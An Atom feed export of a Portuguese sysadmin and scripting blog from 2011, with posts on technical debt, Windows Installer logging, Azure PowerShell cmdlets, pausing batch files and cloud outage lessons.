<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-30662693</id><updated>2011-12-18T23:20:05.073-02:00</updated><category term='ruby'/><category term='Outros'/><category term='scriptcontrol'/><category term='registro'/><category term='sms'/><category term='HTA'/><category term='wakeonlan'/><category term='one-liner'/><category term='SQL Server'/><category term='Utilitários'/><category term='Windows Server 2008'/><category term='windows server'/><category term='música'/><category term='bitlocker'/><category term='outlook express'/><category term='Virtualização'/><category term='wmipowershell'/><category term='Live Meeting'/><category term='C++'/><category term='mvp'/><category term='sysinternals'/><category term='Assistência Remota'/><category term='scriptcenter'/><category term='console'/><category term='Compatibilidade'/><category term='Visual Studio 2008'/><category term='Semcomp'/><category term='windows script host'/><category term='Browsers'/><category term='webcast'/><category term='powershell'/><category term='python'/><category term='senhas'/><category term='uac'/><category term='Terminal Services'/><category term='bat'/><category term='vbs'/><category term='Windows Media Encoder'/><category term='Beta Exam'/><category term='pcex'/><category term='vbscript'/><category term='cmd'/><category term='exchange'/><category term='scripts'/><category term='gpo'/><category term='wsh'/><category term='Cloud'/><category term='Windows 7'/><category term='linux'/><category term='scripting'/><category term='scripting games'/><category term='Front-end optimization'/><category term='Perguntas e Respostas'/><category term='iis'/><category term='Sistema Operacional'/><category term='security warning'/><category term='wsf'/><category term='ds tools'/><category term='videos'/><category term='documentação'/><category term='utf-8'/><category term='WinRM'/><category term='Creative Zen V'/><category term='gerenciamento'/><category term='windows server core'/><category term='blog'/><category term='horário de verão'/><category term='Windows Internals'/><category term='MOF'/><category term='OFF-Topic'/><category term='Carreira'/><category term='Vim'/><category term='segurança'/><category term='ruby on rails'/><category term='filesystem'/><category term='Active Directory'/><category term='teclado'/><category term='Web Standards'/><category term='IE'/><category term='network'/><category term='livros'/><category term='wmi'/><category term='aviso de segurança'/><category term='impressao'/><category term='ftp'/><category term='vista'/><category term='inventário'/><title type='text'>Vinicius Canto e a arte de criar scripts</title><subtitle type='html'>Blog pessoal do Vinicius Canto, desenvolvedor, consultor de TI e especialista em scripting para automação de desktops e ambientes corporativos.</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://viniciuscanto.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://viniciuscanto.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default?start-index=101&amp;max-results=100'/><author><name>Vinicius Canto</name><uri>http://www.blogger.com/profile/08550318447737079871</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>207</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-30662693.post-1839744005704699842</id><published>2011-12-18T23:20:00.001-02:00</published><updated>2011-12-18T23:20:05.105-02:00</updated><title type='text'>Débito Técnico</title><content type='html'>&lt;p&gt;Olá,&lt;/p&gt;  &lt;p&gt;esse é um dos posts não-técnicos com cara de técnicos. Li um post interessantíssimo do criador do PowerShell, Jeffrey Snover, sobre o que chamamos de débito técnico. Débito técnico é aquilo que você sabe que ficou faltando fazer no seu produto, release ou software, mas não fez porque não havia tempo, dinheiro, disposição ou porque precisava ser entregue mesmo.&lt;/p&gt;  &lt;p&gt;Ele discute o uso de Drones e a captura de um deles pelo exército iraniano, e porque o débito técnico foi a razão dessa captura. Se tiver que escolher o que dá pra ser feito e o que fazer a coisa certa, escolha a segunda. Faça certo e não espere o problema acontecer.&lt;/p&gt;  &lt;p&gt;Pra quem ficou curioso, leia o link abaixo. E se você não é o responsável pelas decisões no seu projeto, repasse para ele.&lt;/p&gt;  &lt;p&gt;&lt;a title="http://www.jsnover.com/blog/2011/12/18/iranian-drone-hack-and-technical-debt/" href="http://www.jsnover.com/blog/2011/12/18/iranian-drone-hack-and-technical-debt/"&gt;http://www.jsnover.com/blog/2011/12/18/iranian-drone-hack-and-technical-debt/&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;Até logo!\&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30662693-1839744005704699842?l=viniciuscanto.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viniciuscanto.blogspot.com/feeds/1839744005704699842/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30662693&amp;postID=1839744005704699842&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/1839744005704699842'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/1839744005704699842'/><link rel='alternate' type='text/html' href='http://viniciuscanto.blogspot.com/2011/12/debito-tecnico.html' title='Débito Técnico'/><author><name>Vinicius Canto</name><uri>http://www.blogger.com/profile/08550318447737079871</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30662693.post-5797758695816592713</id><published>2011-12-07T00:44:00.001-02:00</published><updated>2011-12-07T00:44:51.777-02:00</updated><title type='text'>Windows Installer</title><content type='html'>&lt;p&gt;O Windows Installer é o componente utilizado pela Microsoft e recomendado para a criação de instaladores para Windows. Ele é importante na remediação porque alguns dos problemas podem acontecer não por causa de uma aplicação incompatível, mas por um instalador que não funciona completamente.&lt;/p&gt;  &lt;p&gt;A determinação do tipo de problema (instalação, tempo de execução) é uma das primeiras tarefas com uma aplicação, seja desktop seja web. O funcionamento do Windows Installer é importante para o diagnóstico, e saber obter informações sobre a instalação, mais importante ainda. Veja a seguir algumas dicas importantes:&lt;/p&gt;  &lt;h4&gt;Habilitando logs completos&lt;/h4&gt;  &lt;blockquote&gt;   &lt;p&gt;Para poder gerar logs completos de todas as atividades envolvidas durante a instalação, você pode usar um parâmetro da linha de comando que torna possível controlar quais atividades e como elas serão gravadas em disco. O comando msiexec /? mostra todas as opções disponíveis, mas a /L acompanhada do caminho para o arquivo de log (que pode ser relativo) é a mais importante. No exemplo a seguir, o log é gerado com todas as informações (parametro *) e de maneira detalhada (parametro V). &lt;/p&gt; &lt;/blockquote&gt;  &lt;blockquote&gt;   &lt;p&gt;&lt;strong&gt;msiexec /i &amp;quot;C:\MyPackage\Example.msi&amp;quot; /L*V &amp;quot;C:\log\example.log&amp;quot;&lt;/strong&gt;&lt;/p&gt; &lt;/blockquote&gt;  &lt;blockquote&gt;   &lt;p&gt;É possível ainda, usando o parametro ! forçar com que cada linha seja gravada no log de maneira síncrona. Isso é especialmente útil nos casos em que a instalação e o msiexec são interrompidos de maneira abrupta, como uma falha na instalação que derrube o serviço do Windows Installer ou uma tela azul, por exemplo.&lt;/p&gt; &lt;/blockquote&gt;  &lt;h4&gt;Habilitando logs de maneira global&lt;/h4&gt;  &lt;blockquote&gt;   &lt;p&gt;Uma outra dica importante pode ser configurar o serviço do Windows Installer para gerar sempre logs no modo detalhado que foi descrito acima. A maneira mais simples de fazer isso é configurar a chave de registro Logging com o valor VoiceWarmup no registro.&lt;/p&gt; &lt;/blockquote&gt;  &lt;blockquote&gt;   &lt;p&gt;&lt;strong&gt;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Installer&lt;/strong&gt;&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;&lt;a href="http://lh5.ggpht.com/-MolmekV-lOI/Tt7THvXkxeI/AAAAAAAAAOs/a8cGopZQzsU/s1600-h/clip_image0016.png"&gt;&lt;img title="clip_image001" style="margin-right: auto; margin-left: auto; float: none; display: block; background-image: none;" border="0" alt="clip_image001" src="http://lh5.ggpht.com/-yE8Bp7poslo/Tt7TIiE81fI/AAAAAAAAAO0/rkKaqXGyadw/clip_image001_thumb3.png?imgmax=800" width="644" height="182" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;Caso queira saber mais, consulte o link &lt;a href="http://support.microsoft.com/kb/314852"&gt;http://support.microsoft.com/kb/314852&lt;/a&gt;&lt;/p&gt; &lt;/blockquote&gt;  &lt;blockquote&gt;   &lt;p&gt;Easter Egg Advice: VoiceWarmup são apenas duas palavras que podem ser geradas configurando todas as opções de log... Nada de mais :-)&lt;/p&gt; &lt;/blockquote&gt;  &lt;blockquote&gt;   &lt;p&gt;Por se tratar de uma chave que pode ser controlada por meio de uma GPO, em alguns casos você pode ter de configurar as permissões desta chave para negar escrita a todos usuários, inclusive a conta LocalSystem, para impedir que a GPO volte a chave ao valor original. Se precisar automatizar, lembre-se do utilitário SubInAcl.&lt;/p&gt; &lt;/blockquote&gt;  &lt;h4&gt;Interpretando e lendo logs do Windows Installer&lt;/h4&gt;  &lt;blockquote&gt;   &lt;p&gt;E agora, com os logs, o que fazer?&lt;/p&gt;    &lt;p&gt;Se você já tiver tabalhado antes com troubleshooting, apenas leia de trás para frente e procure informações que chamem a sua atenção. Seu bom senso vai ajudar mais que qualquer conselho. &lt;/p&gt;    &lt;p&gt;Caso queira aprofundar ainda mais, sugiro a leitura do link a seguir, que contém várias informações sobre como interpretar as mensagens do log, categorias de mensagens, entre outros. Extremamente útil.&lt;/p&gt;    &lt;p&gt;&lt;a href="http://blogs.technet.com/b/richard_macdonald/archive/2007/04/02/how-to-interpret-windows-installer-logs.aspx"&gt;http://blogs.technet.com/b/richard_macdonald/archive/2007/04/02/how-to-interpret-windows-installer-logs.aspx&lt;/a&gt;&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;Enfim, por hoje é só. Vamos em breve continuar explicando problemas que podem ser resolvidos investigando MSIs e instalações com falha. Até a próxima!&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30662693-5797758695816592713?l=viniciuscanto.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viniciuscanto.blogspot.com/feeds/5797758695816592713/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30662693&amp;postID=5797758695816592713&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/5797758695816592713'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/5797758695816592713'/><link rel='alternate' type='text/html' href='http://viniciuscanto.blogspot.com/2011/12/windows-installer.html' title='Windows Installer'/><author><name>Vinicius Canto</name><uri>http://www.blogger.com/profile/08550318447737079871</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh5.ggpht.com/-yE8Bp7poslo/Tt7TIiE81fI/AAAAAAAAAO0/rkKaqXGyadw/s72-c/clip_image001_thumb3.png?imgmax=800' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30662693.post-1210701598433121905</id><published>2011-12-06T22:46:00.001-02:00</published><updated>2011-12-06T22:46:30.283-02:00</updated><title type='text'>TechED 2011–Windows Azure e PowerShell: automatizando tarefas</title><content type='html'>&lt;p&gt;Olá pessoal,&lt;/p&gt;  &lt;p&gt;no TechED desse ano apresentei uma das palestras menores, de 30 minutos, focada apenas em demonstrações. Slide-less, se existe o termo. &lt;/p&gt;  &lt;p&gt;Com espaço curto e a possibilidade de fazer apenas demonstrações, minha idéia foi mostrar um pouco de PowerShell (sim, mesmo com mais de 5 anos de vida, pouca gente ainda usa essa ferramenta fantástica) e também de como usar o shell para controlar aplicações na nuvem, fazer a publicação e instalação, bem como iniciar o serviço e alterar o número de instâncias.&lt;/p&gt;  &lt;p&gt;Mesmo sem slides, fiz um pequeno resumo do que usei no dia para que quem assistiu possa treinar quando puder. Segue minha lista, copiada diretamente do meu OneNote:&lt;/p&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;ul&gt;   &lt;p&gt;&lt;strong&gt;Vinicius Canto Xavier @viniciuscanto no twitter&lt;/strong&gt;&lt;/p&gt;    &lt;p&gt;&lt;strong&gt;The Joel Test: 12 Steps to Better Code&lt;/strong&gt;&lt;/p&gt;    &lt;ol&gt;     &lt;li&gt;Do you use source control? &lt;/li&gt;   &lt;/ol&gt;    &lt;ol&gt;     &lt;li&gt;Can you make a build in one step? &lt;/li&gt;   &lt;/ol&gt;    &lt;ol&gt;     &lt;li&gt;Do you make daily builds? &lt;/li&gt;      &lt;li&gt;Do you have a bug database? &lt;/li&gt;      &lt;li&gt;Do you fix bugs before writing new code? &lt;/li&gt;      &lt;li&gt;Do you have an up-to-date schedule? &lt;/li&gt;      &lt;li&gt;Do you have a spec? &lt;/li&gt;      &lt;li&gt;Do programmers have quiet working conditions? &lt;/li&gt;   &lt;/ol&gt;    &lt;ol&gt;     &lt;li&gt;Do you use the best tools money can buy? &lt;/li&gt;   &lt;/ol&gt;    &lt;ol&gt;     &lt;li&gt;Do you have testers? &lt;/li&gt;   &lt;/ol&gt;    &lt;ol&gt;     &lt;li&gt;Do new candidates write code during their interview? &lt;/li&gt;      &lt;li&gt;Do you do hallway usability testing? &lt;/li&gt;   &lt;/ol&gt;    &lt;p&gt;Pasted from &amp;lt;&lt;a href="http://www.joelonsoftware.com/articles/fog0000000043.html"&gt;http://www.joelonsoftware.com/articles/fog0000000043.html&lt;/a&gt;&amp;gt; &lt;/p&gt;    &lt;p&gt;&lt;strong&gt;Windows Azure Platform PowerShell Cmdlets&lt;/strong&gt;&lt;/p&gt;    &lt;p&gt;&lt;a href="http://wappowershell.codeplex.com"&gt;http://wappowershell.codeplex.com&lt;/a&gt;&lt;/p&gt;    &lt;p&gt;Ingredientes&lt;/p&gt;    &lt;ul&gt;     &lt;li&gt;Azure SDK 1.4 ou superior e todos os pre-requisitos (IIS, etc)&lt;/li&gt;   &lt;/ul&gt;    &lt;ul&gt;     &lt;li&gt;PowerShell 2.0 (parte do W7 e 2008R2 por padrão)&lt;/li&gt;      &lt;li&gt;ADO.NET Data Services Update for .NET 3.5 SP1&lt;/li&gt;      &lt;li&gt;Windows Identity Foundation Runtime&lt;/li&gt;      &lt;li&gt;Windows Identity Foundation SDK 4.0&lt;/li&gt;   &lt;/ul&gt;    &lt;p&gt;Instalação&lt;/p&gt;    &lt;p&gt;Módulo vs PSSnapin&lt;/p&gt;    &lt;blockquote&gt;     &lt;p&gt;Prefira módulo se não houver necessidade do PSSnapin&lt;/p&gt;   &lt;/blockquote&gt;    &lt;p&gt;Makecert&lt;/p&gt;    &lt;p&gt;.\makecert -r -pe -a sha1 -n &amp;quot;CN=VCX's Windows Azure Authentication Certificate&amp;quot; -ss My -len 2048 -sp &amp;quot;Microsoft Enhanced RSA and AES Cryptographic Provider&amp;quot; -sy 24 c:\temp\testcert.cer&lt;/p&gt;    &lt;p&gt;Comandos usados hoje&lt;/p&gt;    &lt;ul&gt;     &lt;li&gt;Get-Command&lt;/li&gt;   &lt;/ul&gt;    &lt;ul&gt;     &lt;li&gt;Get-Member&lt;/li&gt;   &lt;/ul&gt;    &lt;ul&gt;     &lt;li&gt;Get-Help&lt;/li&gt;      &lt;li&gt;Foreach-Object&lt;/li&gt;      &lt;li&gt;Group&lt;/li&gt;      &lt;li&gt;Select&lt;/li&gt;      &lt;li&gt;Get-Module&lt;/li&gt;      &lt;li&gt;Install-Module&lt;/li&gt;      &lt;li&gt;Get-Command (de novo!)&lt;/li&gt;      &lt;li&gt;New-Deployment&lt;/li&gt;      &lt;li&gt;Get-HostedServices e Get-Deployment&lt;/li&gt;   &lt;/ul&gt;    &lt;ul&gt;     &lt;li&gt;Move-Deployment (VIP Switch)&lt;/li&gt;      &lt;li&gt;Set-DeploymentConfiguration&lt;/li&gt;   &lt;/ul&gt;    &lt;ul&gt;     &lt;li&gt;Set-DeploymentStatus&lt;/li&gt;   &lt;/ul&gt; &lt;/ul&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30662693-1210701598433121905?l=viniciuscanto.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viniciuscanto.blogspot.com/feeds/1210701598433121905/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30662693&amp;postID=1210701598433121905&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/1210701598433121905'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/1210701598433121905'/><link rel='alternate' type='text/html' href='http://viniciuscanto.blogspot.com/2011/12/teched-2011windows-azure-e-powershell.html' title='TechED 2011–Windows Azure e PowerShell: automatizando tarefas'/><author><name>Vinicius Canto</name><uri>http://www.blogger.com/profile/08550318447737079871</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30662693.post-3690703019460702492</id><published>2011-07-12T22:40:00.001-03:00</published><updated>2011-07-12T22:40:46.904-03:00</updated><title type='text'>Como pausar um BAT por 10 segundos? – Extended Version</title><content type='html'>&lt;p&gt;Alguns amigos de trabalho me deram mais algumas dicas após ler o post anterior. Filtrei algumas, especialmente aquelas que usavam executáveis para fazer o serviço… mas uma outra me pareceu bastante viável e mais decente que o CHOICE apresentado anteriormente. Basta criar o VBS a seguir&lt;/p&gt;  &lt;pre&gt;&lt;code&gt;wscript.sleep 1000&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;e use no seu bat usando o comando cscript:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;cscript.exe wait.vbs //nologo&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;simples, direto, e que não pode ser cancelado pelo usuário (a não ser por um CTRL+C).&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30662693-3690703019460702492?l=viniciuscanto.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viniciuscanto.blogspot.com/feeds/3690703019460702492/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30662693&amp;postID=3690703019460702492&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/3690703019460702492'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/3690703019460702492'/><link rel='alternate' type='text/html' href='http://viniciuscanto.blogspot.com/2011/07/como-pausar-um-bat-por-10-segundos_12.html' title='Como pausar um BAT por 10 segundos? – Extended Version'/><author><name>Vinicius Canto</name><uri>http://www.blogger.com/profile/08550318447737079871</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30662693.post-5717607614246542720</id><published>2011-07-01T14:09:00.001-03:00</published><updated>2011-07-01T14:09:12.191-03:00</updated><title type='text'>Como pausar um BAT por 10 segundos?</title><content type='html'>&lt;p&gt;Da série &lt;em&gt;coisas que o Vinicius lembra de cabeça, mas que é bastante difícil encontrar na internet e podem ser úteis um dia&lt;/em&gt;: &lt;/p&gt;  &lt;pre&gt;&lt;code&gt;@choice /T 10 /C yn /D y &amp;gt; null&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Se você for salvo por essa dica um dia, comente aqui &lt;img style="style" class="wlEmoticon wlEmoticon-smile" alt="Smile" src="http://lh4.ggpht.com/-fgPIZZYCZAI/Tg3_NZUJH9I/AAAAAAAAAOM/RSB3fAtrSsw/wlEmoticon-smile%25255B2%25255D.png?imgmax=800" /&gt;&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30662693-5717607614246542720?l=viniciuscanto.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viniciuscanto.blogspot.com/feeds/5717607614246542720/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30662693&amp;postID=5717607614246542720&amp;isPopup=true' title='1 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/5717607614246542720'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/5717607614246542720'/><link rel='alternate' type='text/html' href='http://viniciuscanto.blogspot.com/2011/07/como-pausar-um-bat-por-10-segundos.html' title='Como pausar um BAT por 10 segundos?'/><author><name>Vinicius Canto</name><uri>http://www.blogger.com/profile/08550318447737079871</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh4.ggpht.com/-fgPIZZYCZAI/Tg3_NZUJH9I/AAAAAAAAAOM/RSB3fAtrSsw/s72-c/wlEmoticon-smile%25255B2%25255D.png?imgmax=800' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30662693.post-9133844402638622076</id><published>2011-06-24T14:42:00.001-03:00</published><updated>2011-06-24T15:04:38.188-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Cloud'/><title type='text'>Depois da tempestade…</title><content type='html'>&lt;p&gt;&lt;a href="http://lh3.ggpht.com/-KXC2BuREcoU/TgTORt4AdQI/AAAAAAAAANw/lGKiBmZn9h8/s1600-h/image%25255B3%25255D.png"&gt;&lt;img style="margin-right: auto; margin-left: auto; float: none; display: block; background-image: none;" title="image" border="0" alt="image" src="http://lh5.ggpht.com/-2H6MDf8PDmw/TgTOVau3taI/AAAAAAAAAN0/rQFU3khaRCc/image_thumb%25255B1%25255D.png?imgmax=800" width="644" height="431" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;…aparecem as lições que devemos aprender. Nos dois links a seguir, técnicos do SmugSmug e do Netflix discutem porque os sitemas deles estiveram entre os que não patinaram, capotaram ou sumiram de vez do ar com &lt;a href="http://www.computerworld.com/s/article/9216303/Amazon_cloud_outage_was_triggered_by_configuration_error"&gt;a última grande falha nos serviços cloud da Amazon&lt;/a&gt;. &lt;/p&gt;  &lt;p&gt;Falhas acontecem. Dessa vez foi com a Amazon, mas qualquer um está sujeito ao problema que ocorreu com eles. E ao invés de criticar, melhor tentar entender como evitar isso no futuro do lado de cá. Quase todas as dicas se aplicam também para apps hospedadas em fornecedores de serviços, seja Microsoft, seja Google, seja lá o que for. O arquiteto que é responsável por projetar o sistema resiliente.&lt;/p&gt;  &lt;p&gt;&lt;a title="http://techblog.netflix.com/2011/04/lessons-netflix-learned-from-aws-outage.html" href="http://techblog.netflix.com/2011/04/lessons-netflix-learned-from-aws-outage.html"&gt;http://techblog.netflix.com/2011/04/lessons-netflix-learned-from-aws-outage.html&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;&lt;a title="http://don.blogs.smugmug.com/2011/04/24/how-smugmug-survived-the-amazonpocalypse/" href="http://don.blogs.smugmug.com/2011/04/24/how-smugmug-survived-the-amazonpocalypse/"&gt;http://don.blogs.smugmug.com/2011/04/24/how-smugmug-survived-the-amazonpocalypse/&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;Sejam inteligentes, e nunca testem a profundidade de um rio com os dois pés ao mesmo tempo. Cloud não conserta sistemas mal projetados &lt;img class="wlEmoticon wlEmoticon-smile" alt="Smile" src="http://lh5.ggpht.com/-unXQqR06cks/TgTMnBM4x-I/AAAAAAAAANs/nJvNgXydTxs/wlEmoticon-smile%25255B2%25255D.png?imgmax=800" /&gt;. Também não é nenhuma bala de prata. É uma ótima ferramenta, mas não deve ser a única.&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30662693-9133844402638622076?l=viniciuscanto.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viniciuscanto.blogspot.com/feeds/9133844402638622076/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30662693&amp;postID=9133844402638622076&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/9133844402638622076'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/9133844402638622076'/><link rel='alternate' type='text/html' href='http://viniciuscanto.blogspot.com/2011/06/depois-da-tempestade.html' title='Depois da tempestade…'/><author><name>Vinicius Canto</name><uri>http://www.blogger.com/profile/08550318447737079871</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh5.ggpht.com/-2H6MDf8PDmw/TgTOVau3taI/AAAAAAAAAN0/rQFU3khaRCc/s72-c/image_thumb%25255B1%25255D.png?imgmax=800' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30662693.post-6714608050177796749</id><published>2011-04-29T12:16:00.001-03:00</published><updated>2011-04-29T12:16:10.338-03:00</updated><title type='text'>How stuff works: Facebook Operations</title><content type='html'>&lt;p&gt;Oi pessoal,&lt;/p&gt;  &lt;p&gt;hoje encontrei uma apresentação antiga do VelocityConf 2010, muito interessante tanto pra infra quanto pra devs. Exatamente do jeito que eu gosto &lt;img style="style" class="wlEmoticon wlEmoticon-smile" alt="Smile" src="http://lh5.ggpht.com/_l3eDYIF1qmk/TbrWOPd2g1I/AAAAAAAAANU/8zMG2BVKO3E/wlEmoticon-smile%5B2%5D.png?imgmax=800" /&gt;.&lt;/p&gt;  &lt;p&gt;A palestra trata de &lt;a href="http://www.youtube.com/watch?v=T-Xr_PJdNmQ&amp;amp;feature=player_embedded#at=713"&gt;como o time de operações do Facebook trabalha&lt;/a&gt;. Pontos que achei interessante:&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;O número de &lt;strong&gt;engenheiros/usuário&lt;/strong&gt; e &lt;strong&gt;pessoas de operações/usuário&lt;/strong&gt; é absurdamente pequeno. Eles realmente são eficientes nesse ponto. Talvez comparar com MS e Google não seja interessante, dado que os dados que ele usou possam estar errados… mas ainda assim o número é impressionante.&lt;/li&gt;    &lt;ul&gt;     &lt;li&gt;De qualquer forma, a própria métrica de devs/usuários e itpros/usuários atendidos é bem legal… não conhecia o conceito. Deve ter vindo do ITIL.        &lt;br /&gt;&lt;/li&gt;   &lt;/ul&gt;    &lt;li&gt;&lt;strong&gt;Implantação de mudanças muito bem organizado&lt;/strong&gt;. E num ritmo frenético. Várias mudanças acontecendo ao mesmo tempo, de forma controlada. Bonus para o sistema de deployment distribuido usando BitTorrent internamente.&lt;/li&gt;    &lt;ul&gt;     &lt;li&gt;O ritmo de alterações no ambiente é quase igual ao que vemos em alguns clientes, mas com um nível de maturidade muito, mas muito maior.        &lt;br /&gt;&lt;/li&gt;   &lt;/ul&gt;    &lt;li&gt;&lt;strong&gt;Monitoramento&lt;/strong&gt; feito da maneira correta. Vale como exemplo.&lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;Bom, é isso. Espero que gostem.&lt;/p&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;p&gt;Até logo!&lt;/p&gt;  &lt;p&gt;Vinicius&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30662693-6714608050177796749?l=viniciuscanto.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viniciuscanto.blogspot.com/feeds/6714608050177796749/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30662693&amp;postID=6714608050177796749&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/6714608050177796749'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/6714608050177796749'/><link rel='alternate' type='text/html' href='http://viniciuscanto.blogspot.com/2011/04/how-stuff-works-facebook-operations.html' title='How stuff works: Facebook Operations'/><author><name>Vinicius Canto</name><uri>http://www.blogger.com/profile/08550318447737079871</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' 